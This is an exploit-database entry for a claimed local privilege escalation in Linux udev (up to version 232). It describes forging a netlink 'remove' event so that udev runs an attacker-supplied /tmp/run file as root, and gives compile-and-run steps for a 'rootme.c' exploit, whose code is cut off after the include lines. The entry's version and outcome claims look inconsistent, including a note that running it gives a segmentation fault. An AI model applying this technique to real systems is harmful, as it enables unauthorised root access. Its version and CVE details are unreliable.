Linux Kernel 4.8.0 UDEV < 232 - Privilege Escalation

EDB-ID: 41886
Author: Nassim Asrir
Published: 2017-04-15
CVE: CVE-2017-7874
Type: Local
Platform: Linux
Vulnerable App: N/A

 # Title: Linux Kernel 4.8.0 udev 232 - Privilege Escalation 
# Author: Nassim Asrir
# Researcher at: Henceforth
# Author contact: ||
# The full Research:
# CVE: CVE-2017-7874

# Exp #

first of all we need to know a small infos about udev and how it work

the udev deamon is responsible for receiving device events from the kernel

and this event are delivered to udev via netlink (is a socket family)

you can read more about udev from:

# Exploit #

The udev vulnerability resulted from a lack of verification of the netlink message source in udevd.

read lines from: /lib/udev/rules.d/50-udev-default.rules

all we need is this action: ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"

this action allows execution of arbitrary commands.

in our exploit we specifying a malicious REMOVE_CMD and causes the privileged execution of attacker-controlled /tmp/run file.

Get your udev version:

Execute: $ udevadm --version

//output: 232

Maybe < 232 also is vulnerable

// gcc rootme.c -o rootme
// ./rootme
// segmantation fault

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

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